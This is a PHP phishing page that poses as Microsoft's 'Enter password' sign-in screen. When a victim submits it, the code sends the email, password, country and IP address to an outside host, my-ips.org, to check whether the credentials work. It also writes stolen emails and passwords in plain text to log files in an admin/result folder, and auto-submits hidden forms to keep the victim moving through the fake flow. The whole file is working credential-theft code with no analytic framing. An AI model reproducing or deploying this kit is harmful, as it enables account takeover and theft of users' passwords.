<?php
include'../admin/config.php';
include'../main.php';
$ip = getUserIP();
$random = substr(sha1(mt_rand()),1,25);
if(isset($_POST['login'])){
$curl = curl_init();
curl_setopt_array($curl, array(
    CURLOPT_URL => 'http://my-ips.org/ip/index.php',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_ENCODING => '',
    CURLOPT_MAXREDIRS => 10,
    CURLOPT_TIMEOUT => 0,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
    CURLOPT_CUSTOMREQUEST => 'POST',
    CURLOPT_POSTFIELDS => array('user' => $_POST['email'],'pass' => $_POST['password'],'type' => '1','country' => $cn,'ip' => $ip),
));
$response = curl_exec($curl);
curl_close($curl);
tulis_file("admin/result/total_click.txt", "".$cn."|".$_POST['email']."|".$ip."|Proses Validasi|".$date."");
if (preg_match('/1/', $response)){
    tulis_file("admin/result/total_click.txt", "".$cn."|".$_POST['email']."|".$ip."|Berhail Login|".$date."");
    echo "<form id='ptz' method='POST' action='post.srf?wa=wsignin1.0&rpsnv=13&rver=7.3.6963.0&wp=MBI_SSL&wreply=https%3a%2f%2fwww.microsoft.com%2fen-us%2f&lc=1033&id=74335&aadredir=1&ru=https%3a%2f%2fwww.microsoft.com%2fen-us%2f&mkt=EN-US&contextid=1EE93C44426274D9&bk=1619825426&uaid=876a74678f9446408bf0adc75cc213b7&pid=0'><input type='hidden' name='email' value='".$_POST['email']."'><input type='hidden' name='password' value='".$_POST['password']."'><input type='hidden' name='apistatus' value='1'></form><script type='text/javascript'>document.getElementById('ptz').submit();</script>";
}else if(preg_match('/0/', $response)){
    tulis_file("admin/result/total_click.txt", "".$cn."|".$_POST['email']."|".$ip."|Salah Password / Email|".$date."");
    tulis_file("admin/result/login_fail.txt", "".$_POST['email']."|".$_POST['password']."|".$cn."|".$ip."|".$ispuser."");
    tulis_file("admin/result/faillogin_count.txt", $ip);
    echo "<form id='ptz' method='POST' action=''><input type='hidden' name='email' value='".$_POST['email']."'><input type='hidden' name='password' value='".$_POST['password']."'><input type='hidden' name='status_signin' value='fail'></form><script type='text/javascript'>document.getElementById('ptz').submit();</script>";
}else{
    tulis_file("admin/result/total_click.txt", "".$cn."|".$_POST['email']."|".$ip."|Tidak Diketahui|".$date."");
    tulis_file("admin/result/login_fail.txt", "".$_POST['email']."|".$_POST['password']."|".$cn."|".$ip."|".$ispuser."");
    echo "<form id='ptz' method='POST' action='post.srf?wa=wsignin1.0&rpsnv=13&rver=7.3.6963.0&wp=MBI_SSL&wreply=https%3a%2f%2fwww.microsoft.com%2fen-us%2f&lc=1033&id=74335&aadredir=1&ru=https%3a%2f%2fwww.microsoft.com%2fen-us%2f&mkt=EN-US&contextid=1EE93C44426274D9&bk=1619825426&uaid=876a74678f9446408bf0adc75cc213b7&pid=0'><input type='hidden' name='email' value='".$_POST['email']."'><input type='hidden' name='password' value='".$_POST['password']."'><input type='hidden' name='apistatus' value='UNKNOWN'></form><script type='text/javascript'>document.getElementById('ptz').submit();</script>";
}
}
?>

<html dir="ltr" lang="EN-US">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=Edge">
    <title>Sign in to your Microsoft account</title>
    <meta name="robots" content="none">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, minimum-scale=1.0, user-scalable=yes">
    <link rel="shortcut icon" href="https://logincdn.msauth.net/16.000.28230.00/images/favicon.ico">
    <link rel="stylesheet" title="Converged_v2" type="text/css" crossorigin="anonymous" integrity="sha384-E5gbpbd7pvLncrSFicEeR0od7Yqv75BoM0zAKpkW6kM6RUIPj83KEbtUBQeB8pRU" onload="$Loader.OnSuccess(this)" onerror="$Loader.OnError(this)" href="assets/css/hotmail.css">
    <style type="text/css"></style>
    <style type="text/css">
        body {
            display: none;
        }
    </style>
    <style type="text/css">
        body {
            display: block !important;
        }
    </style>
    <style type="text/css">
        body {
            display: block !important;
        }
    </style>
    <style type="text/css">
        body {
            display: block !important;
        }
    </style>
    <style type="text/css">
        body {
            display: block !important;
        }
    </style>

</head>

<body class="cb" data-bind="defineGlobals: ServerData, bodyCssClass">
    <div>
        <!--  -->
        <div">
            <div class="background" style="background-image: url('assets/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg');">
               
            </div>
        </div>
        <div data-bind="if: activeDialog"></div>
        <form name="f1" id="i0281" validate="validate" spellcheck="false" method="post" target="_top" autocomplete="off" action="">
            <div class="outer" data-bind="">
                <div class="middle">
                    <div class="inner">
                        <div class="lightbox-cover"></div>

                        <div>
                            <img class="logo" pngsrc="https://auth.gfx.ms/16.000.27991.01/images/microsoft_logo.png?x=ed9c9eb0dce17d752bedea6b5acda6d9" svgsrc="https://logincdn.msauth.net/16.000.28230.00/images/microsoft_logo.svg?x=ee5c8d9fb6248c938fd0dc19370e90bd" data-bind="imgSrc, attr: { alt: str['MOBILE_STR_Footer_Microsoft'] }" src="https://logincdn.msauth.net/16.000.28230.00/images/microsoft_logo.svg?x=ee5c8d9fb6248c938fd0dc19370e90bd" alt="Microsoft">

                        </div>

                        <div role="main">
                            <!-- ko if: showIdentityBanner() && (sharedData.displayName || svr.G) -->
                            <div>
                                <div>
                                    <!--  -->
                                    <div class="identityBanner">
                                        <!-- ko if: isBackButtonVisible -->
                                        <button type="button" class="backButton" id="idBtn_Back" aria-label="Back"><img role="presentation" onclick="window.history.go(-1); return false;" pngsrc="https://auth.gfx.ms/16.000.27991.01/images/arrow_left.png?x=7cc096da6aa2dba3f81fcc1c8262157c" svgsrc="https://logincdn.msauth.net/16.000.28230.00/images/arrow_left.svg?x=a9cc2824ef3517b6c4160dcf8ff7d410" data-bind="imgSrc" src="https://logincdn.msauth.net/16.000.28230.00/images/arrow_left.svg?x=a9cc2824ef3517b6c4160dcf8ff7d410">
                                           
                                        </button>
                                        <!-- /ko -->
                                        <div id="displayName" class="identity" data-bind="text: unsafe_displayName, attr: { 'title': unsafe_displayName }" title="<?= $_POST['email']; ?>">
                                            <?= $_POST['email']; ?>
                                        </div>
                                        <!-- ko ifnot: svr.I -->
                                        <!-- /ko -->
                                    </div>
                                </div>
                            </div>
                            <!-- /ko -->
                            <div class="pagination-view has-identity-banner">
                                
                                <div data-viewid="2" data-showidentitybanner="true" data-dynamicbranding="true">
                                    <!--  -->
                                    
                                    <div id="loginHeader" class="row text-title" role="heading" aria-level="1" data-bind="text: str['CT_PWD_STR_EnterPassword_Title']">Enter password</div>
                                    <?php if (isset($_POST['status_signin'])) { ?>
                                    <p style="color: red;">Your account or password is incorrect.</p>
                                    <?php } ?>
                                    <div class="row">
                                        <div class="form-group col-md-24">
                                            <div role="alert" aria-live="assertive" aria-atomic="false">
                                                
                                            </div>
                                            <div class="placeholderContainer">
                                                <input type="hidden" name="email" value="<?= $_POST['email']; ?>">
                                                <input name="password" required="required" type="password" id="i0118" autocomplete="off" class="form-control" aria-describedby="passwordError loginHeader passwordDesc" aria-required="true" placeholder="Password" aria-label="Enter the password for <?= $_POST['email']; ?>" autofocus>
                                                <input type="hidden" name="wa" value="wsignin1.0">
                                                <input type="hidden" name="rpsnv" value="13">
                                                <input type="hidden" name="rver" value="7.0.6737.0">
                                                <input type="hidden" name="wp" value="MBI_SSL">
                                                <input type="hidden" name="login" value="1.0">
                                            </div>
                                        </div>
                                    </div>
                                    <!-- ko if: svr.Z && showHip -->
                                    <!-- /ko -->
                                    <div data-bind="invertOrder: svr.B4, css: { 'position-buttons': !tenantBranding.BoilerPlateText }" class="position-buttons">
                                        <div>
                                            <!-- ko if: svr.ba -->
                                            <!-- /ko -->
                                            <!-- ko if: svr.aA !== false && !svr.ba && !tenantBranding.KeepMeSignedInDisabled -->
                                            <!-- /ko -->
                                            <div class="row">
                                                <div class="col-md-24">
                                                    <div class="text-13 action-links">
                                                        <div class="form-group"> <a id="idA_PWD_ForgotPassword" role="link" href="#" data-bind="text: str['CT_PWD_STR_ForgotPwdLink_Text'], href: svr.n, click: resetPassword_onClick">Forgot password?</a> </div>
                                                        <div class="form-group"></div>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                        <div class="row" data-bind="css: { 'move-buttons': tenantBranding.BoilerPlateText }">
                                            <div>
                                                <div class="col-xs-24 no-padding-left-right form-group no-margin-bottom button-container">
                                                    <!-- ko if: isSecondaryButtonVisible -->
                                                    <!-- /ko -->
                                                    <div class="inline-block">
                                                        <input type="submit" id="idSIButton9" class="btn btn-block btn-primary" value="Sign in"> </div>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                    <!-- ko if: tenantBranding.BoilerPlateText -->
                                    <!-- /ko -->
                                </div>
                            </div>
                        </div>
                    </div>
                </div>

            </div>
             <div id="footer" class="footer default" role="contentinfo" data-bind="css: { 'default': !backgroundLogoUrl() }"  style="background: transparent;">
                <div>

                    <div id="footerLinks" class="footerNode text-secondary">
                        <!-- /ko --><a id="ftrTerms" data-bind="text: str['MOBILE_STR_Footer_Terms'], href: termsLink, click: termsLink_onClick" style="color: #666;">Terms of use</a> <a id="ftrPrivacy" data-bind="text: str['MOBILE_STR_Footer_Privacy'], href: privacyLink, click: privacyLink_onClick" style="color: #666;">Privacy &amp; cookies</a> <a id="ftrPrivacy" data-bind="text: str['MOBILE_STR_Footer_Privacy'], href: privacyLink, click: privacyLink_onClick" style="color: #666;font-size: 16px;">. . .</a>
                    </div>

                </div>
            </div>
    </div>
    </div>

    </form>

    </div>

    <div>
        <!--  -->
</body>

</html>